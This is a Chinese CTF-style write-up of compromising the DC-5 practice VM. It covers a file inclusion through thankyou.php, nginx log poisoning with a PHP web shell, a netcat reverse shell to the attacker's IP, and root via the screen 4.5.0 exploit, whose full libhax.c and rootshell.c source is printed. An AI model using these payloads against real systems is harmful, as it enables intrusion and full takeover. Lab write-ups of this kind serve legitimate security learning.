DC-5靶机学习
1.kali探测存活主机
root@kali:~# nmap -T4 -A 192.168.43.1/24
目标IP地址为192.168.43.182,访问之
拿着nikto,dirsearch一顿乱扫,啥也没发现
2.日常没思路,气氛逐渐焦灼
burpsuite爬了一下站点,分析了一下
发现就一个动态带参数的,emmmm
继续拿起burpsuite就是一顿乱扫
nginx的洞都奇奇怪怪的,看了下,一个是拒绝服务,一个是http走私.....
3.突破点
还是没啥思路,重新发包的时候,似乎瞄到burpsuite中底部日期变了一下,233
compare看一下
确实重发一次,变一次...迷惑
搜了一波,发现是文件包含.....
我就纳闷了,这尼玛还能猜出来
https://blog.csdn.net/weixin_45116657/article/details/102677446
GET /thankyou.php?file=/etc/passwd HTTP/1.1
Host: 192.168.43.182
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
4.nginx日志文件包含
既然存在文件包含漏洞
试着读了下日志文件,nginx默认日志文件为/var/log/nginx/access.log
应该是存在的,随便输个phpinfo,会记录到日志中,一旦有文件包含漏洞,且包含文件为日志【当然你最好祈祷日志是默认路径】时,就会把日志当作php解析
GET /<?php phpinfo();?> HTTP/1.1
Host: 192.168.43.182
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
404,然后包含一下看看
包含成功,burpsuite会显示消息太长,到浏览器打开
写一段恶意代码进去
<?php if(isset($_REQUEST['cmd'])){echo "<pre>";$cmd = ($_REQUEST['cmd']);system($cmd);echo "</pre>";die;}?>
emmmm,有点离谱的是。。。显示phpinfo之后,再包含一句话,就不显示了,为啥?
渗透失败
5.恢复快照N次后
wdnmd....终于连接上来了
<?php eval($_POST[cmd]);?>
报错产生日志,然后包含日志
蚁剑终端好像没法回显,于是反弹一下shell
服务端
nc 192.168.43.164 8008 -c /bin/bash
客户端
nc -lvvp 8008
6.提权
find / -perm -u=s -type f 2>/dev/null
这里看到一个/bin/screen-4.5.0
搜了下是2017年爆出的一个提权漏洞
http://www.expku.com/local/6245.html
kali里面也搜了下
root@kali:~# searchsploit screen 4.5.0
看内容,应该要编译才能用
1.libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
保存为libhax.c
然后编译
root@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c
2.rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
保存为rootshell.c
root@kali:~# gcc -o rootshell rootshell.c
然后删除41154.sh中间那几段C代码
打包上传到目标机器
然而........WDNMD
禁止通过wget下载....这就离谱
7.ftp上传提权脚本
这句话是得到一个标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
攻击机器配置vsftp
apt install vsftpd
其他配置看图
客户端登陆攻击机(vsftp服务端),下载提权脚本....这里略过,emmmmmmmm
这里有个问题是会报错
问题出在那个家目录的位置,因为我是直接root目录下创建所以没找到,导致报错
然后通过get命令下载到服务器就好了....
这里我发现一个问题,当进入标准shell的时候是可以使用wget命令的
所以kali起一个http服务
root@kali:~# python -m SimpleHTTPServer 8000
直接wget下载到服务器上
如下图
执行的时候报错了...
发现最后一行少写了个/,还有前面编译那个libhax.c文件,这里也写错了,emmmm. 后缀要改成.so才对
添上去,重新执行代码
提权成功!!!
8.Getflag
或许这是我比较菜的原因吧,害。。。